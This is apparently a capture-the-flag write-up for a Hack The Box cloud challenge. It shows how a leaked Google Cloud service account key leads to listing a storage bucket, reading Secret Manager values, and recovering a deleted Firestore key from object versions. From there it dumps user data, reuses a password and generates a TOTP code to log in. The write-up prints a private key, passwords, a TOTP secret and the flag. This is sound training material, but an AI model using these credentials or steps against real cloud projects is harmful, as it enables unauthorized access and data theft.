30th April 2024 / Document No D24.102.65
Prepared By: polarbearer
Challenge Author(s): polarbearer
Difficulty: Medium
Classification: Confidential
CloudOfSmoke is a Medium cloud challenge. Players are given a service account key and the IP address of a web application, and have to identify a Google Cloud Storage bucket where sensible data, including the key for a second service account, is found. This new service account has read access to Firestore and is able to list available collections and retrieve data from them, obtaining a user name and its associated TOTP secret. Together with a reused password from one of the available secrets in the Google Cloud project, this data is used to gain access to the web application.
During an archeological excavation you came across a petroglyph with the following inscription:
{
"type": "service_account",
"project_id": "ctfs-417807",
"private_key_id": "40283937e0d6283436c0a82fb02589757fd9a5a2",
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC0UlnAastOgLGY\ns6UYxQqK9o0UcRgpMFnvbBZPz6xqOf9e0ybu3c57VzAClS/a2gvUAlLGF72K4xGP\nkJF+P1KP5IfkdSXLt/urxZXzlA3/NFxBGLY+mnJ5eNzBgrfDBRv/41xxFuSe7L8q\nBzk/VoCI8maklqtesRixPSRJnX6Z0PJ+tyeEvzjla3VPhjwCgtw4o2ZIXF/ToPs0\nN3bl+WnwWYQ56C10XAu6aOG1KqFTrTsHMOF+E7vCkbV3HeDahEw5Yhg9q13Wf4bP\noQFevJosVzlOXxEPkA1//C8yXLvxWmEe38lZ+iMLT8J1YDNwBQpc9Y7tz9hoqXir\nW17ZRbvBAgMBAAECggEAFAICLuk6m0CI1CR0uGmemJowP7knwOQ6SmhQFnV40EWU\nqgkcTAtE7qcXLuYuS+Z/QvwqAoxeTeORjoAwQJWWm9wz3tvHwJGuxVm0YHVIU02U\nQe3TxOD+vC82sWsHaEZwG6W22156qg6jTG7GQZqfwvJAhNkp9SUJ1BqwZNGqmzbl\nm+oomduz5NKqAJtKgxSdqbecWe8fAGfo3u2bMo8Kve48Y2cWEzAR+IvRnLw8JGMR\ni1JjnQeH/H5upDjW2jwGx9bHZluqBglYnSh/Pa/86DwbYiBiAg0zt9pj6JbflSDA\n4RZx7EPyJXNKiduUgvhUQsFTvizYUouSGggwt9+s1QKBgQD2fZFbe9aemryjGacO\nu19KqNHgWDVqa8usgW8IPYmMl62JOCUkLAcy8hofVSQvkzv4mvTEap3Cr4VLZ5OB\nlDjd2t4007aroMx/MPnYEvUTK5BVBpLHX9GsBj4WA4TU3LukytNlGXsC5jey528h\nq3WlLDHK/0A6u1M4TrjxJPNOHQKBgQC7R0ZcX6RyPtWfdkt/Zb61EBYHeOorzgSh\nZCUqeCmw5sAEs26mvB+clkoExzKxNDbtekZpyj0bosHPiq20z4knPiaxaNg6fS/n\nig3mrGHGB33huowYmIcOSyv0TobI77s1DQmwdDeKM+rZd0iDhXYVcKP+P5lk5U6x\n4DpxSwLC9QKBgDkgjxDJ2cr2h+OxLVOvv30ZNVMufmrEwvafJPGe+YMZIEIePhVt\nEtoO3FkIrZNNJ2gN2c6v+xJFBbqdLcWpaaiZckiCDOMoKF0OJ8mZUy13OkNKe7gz\nj++znq4RcLa41dBypZ3X0vewDZasJsiB6Yk3fe7TS7qQ8c+qBxj0fGNNAoGBAKLG\nRm+PaZ0q4/3fkas/QcyaGKuR+ubr/7ZPFsac/o+VYBw14Nzm8grlzZvtjy/aFEvA\nVWcpsodMpWvAO07Ge40yRes5F4duu65hncd62NiINm919sKCABD6YU/M2PXY+Dwa\nAuvtd0CV82/kb5Bw9buY1dDscmTxsb6FCAbkjZfpAoGBALMMXUgO+reyNbcH5ztN\n1thmOxr/loTbLDbml/uj3RRfdXP1pSiW442dYTwlB84BmlulQesMGHMT2dcFyH8l\nBiwLCh3ZbnxC9B1J6ei54b5F8wkEziGlU5NREI2o8jATGfqmgzJctR1pGF0GdSm0\nbdN+E7guXOuACdBGLz3O/33t\n-----END PRIVATE KEY-----\n",
"client_email": "[email protected]",
"client_id": "111433751991073581449",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/storage%40ctfs-417807.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
This carving is thought to hold the key for accessing the mythical vault in the clouds that is rumored to hold as much gold as the legendary underground vault. After a long search, you manage to find the vault at http://34.29.127.192. Can you get in?
HTB{th3_v4ULt_1s_0n_f1r3!}
Upon browsing to http://34.29.127.192 we are redirected to the /login
page, where username and password must be provided in order to access the vault.
The background image is pulled from a Google Cloud storage bucket named cloud-vault-assets
.
<body style="background-image: url('https://storage.googleapis.com/cloud-vault-assets/img/cloud-vault.png');" class="bg-dark text-white">
As anonymous users we are not allowed to list the bucket contents.
gsutil ls gs://cloud-vault-assets/
ServiceException: 401 Anonymous caller does not have storage.objects.list access to the Google Cloud Storage bucket. Permission 'storage.objects.list' denied on resource (or it may not exist).
We save the JSON data from the stone inscription to a file named serviceaccount.json
that we can use to authenticate as the storage
service account:
gcloud auth activate-service-account --key-file=serviceaccount.json
The service account has listing access to the storage bucket. An additional directory named cloudvault-dev-files
is found.
gsutil ls gs://cloud-vault-assets/
gs://cloud-vault-assets/cloudvault-dev-files/
gs://cloud-vault-assets/img/
The cloudvault-dev-files
directory contains part of the source code of the NodeJS web application that is running the cloud vault. We copy the files locally for closer inspection.
gsutil cp -r gs://cloud-vault-assets/cloudvault-dev-files .
Among the app dependencies listed in the cloud vault-dev-files/package.json
file we spot a couple interesting ones in @google-cloud/secret-manager
and firebase-admin
. Let's focus on secret-manager
first. The Secret Manager library allows access to Google Cloud secrets from NodeJS applications; this suggests that there might be secrets defined in the GCP project. We try listing them:
gcloud secrets list --project ctfs-417807
NAME CREATED REPLICATION_POLICY LOCATIONS
backup-key 2024-04-30T03:59:43 automatic -
A secret named backup-key
is found. Let's list all the available versions:
gcloud secrets versions list backup-key --project ctfs-417807
NAME STATE CREATED DESTROYED
2 enabled 2024-04-30T04:00:17 -
1 enabled 2024-04-30T03:59:45 -
Two enabled versions exists. Let's view both:
gcloud secrets versions access --secret=backup-key --project ctfs-417807 1
mi@u7eij3Wae4
gcloud secrets versions access --secret=backup-key --project ctfs-417807 2
SRe6TCDV0eo
We take note of the secret values and continue inspecting the code. The cloudvault-dev-files/config/db.js
file defines a Firestore object and exports it as db
. This suggests that Firestore may be used to hold account data for authentication.
const { initializeApp, applicationDefault, cert } = require('firebase-admin/app');
const { getFirestore, Timestamp, FieldValue } = require('firebase-admin/firestore');
const serviceAccount = require('./firestore.json');
initializeApp({
credential: cert(serviceAccount)
});
const db = getFirestore();
module.exports = db;
A service account identified by the firestore.json
key is used to access the Firestore database. Back to the storage bucket, we list all available file versions in the config
directory by adding the -a
option to the ls
command:
gsutil ls -a gs://cloud-vault-assets/cloudvault-dev-files/config/
gs://cloud-vault-assets/cloudvault-dev-files/config/db.js#1714402948273829
gs://cloud-vault-assets/cloudvault-dev-files/config/firestore.json#1714402948237947
A previous version of the firestore.json
file, that has since been deleted from the bucket, is available. We download it:
gsutil cp gs://cloud-vault-assets/cloudvault-dev-files/config/firestore.json#1714402948237947 .
The following line in app.js
indicates that the Passport.js middleware is used for authentication. An authentication strategy might be in place to pull data from the Firestore db
object.
require('./include/passport');
Unfortunately, the include/passport.js
file is not found on the storage bucket, so - assuming our hypothesis is true - we don't know which collection might contain user data. We can write a simple NodeJS application to list available collections in the default database using the listCollections() method available in the Firebade Admin SDK.
const { initializeApp, cert } = require('firebase-admin/app');
const { getFirestore } = require('firebase-admin/firestore');
const serviceAccount = require('./firestore.json');
initializeApp({
credential: cert(serviceAccount)
});
const db = getFirestore();
db.listCollections()
.then(snapshot=>{
snapshot.forEach(snaps => {
console.log(snaps["_queryOptions"].collectionId);
})
})
.catch(error => console.error(error));
A single collection named vault_user_store
is returned.
$ node list.js
vault_user_store
We can modify the program to show all data in the vault_user_store
collection.
const { initializeApp, cert } = require('firebase-admin/app');
const { getFirestore } = require('firebase-admin/firestore');
const serviceAccount = require('./firestore.json');
initializeApp({
credential: cert(serviceAccount)
});
const db = getFirestore();
async function getdata(db) {
const dataRef = db.collection('vault_user_store');
const snapshot = await dataRef.get();
snapshot.forEach(doc => {
console.log(doc.id, '=>', doc.data());
});
}
console.log(getdata(db))
The user store contains a single user named maximus
, together with the password hash and a secret
string.
$ node view.js
Promise { <pending> }
sppPjk7IpkrtQyfJ0IXC => {
password: '$2a$04$sJkZ52ZZVT/MnH6SWxRnUuC0ZRTeAn7kqMGftXghlU0qSqLGVy6.q',
secret: 'KZZXERL4OFNHW6TBJQ7GKIJM',
username: 'maximus',
id: 1
}
We attempt to login to the web application as maximus
using the two versions of the backup-key
secret obtained earlier, hoping for password reuse. Indeed, version 1 (mi@u7eij3Wae4
) is a valid password for maximus
. We are now required to enter a one-time token:
The secret
value obtained from the Firestore collection is a base32-encoded string, which could represent the TOTP secret associated with the account. We use oathtool
to generate an OTP key from the secret value:
$ oathtool -b KZZXERL4OFNHW6TBJQ7GKIJM --totp
647744
The OTP is accepted and we are granted access to the vault, where the flag is displayed.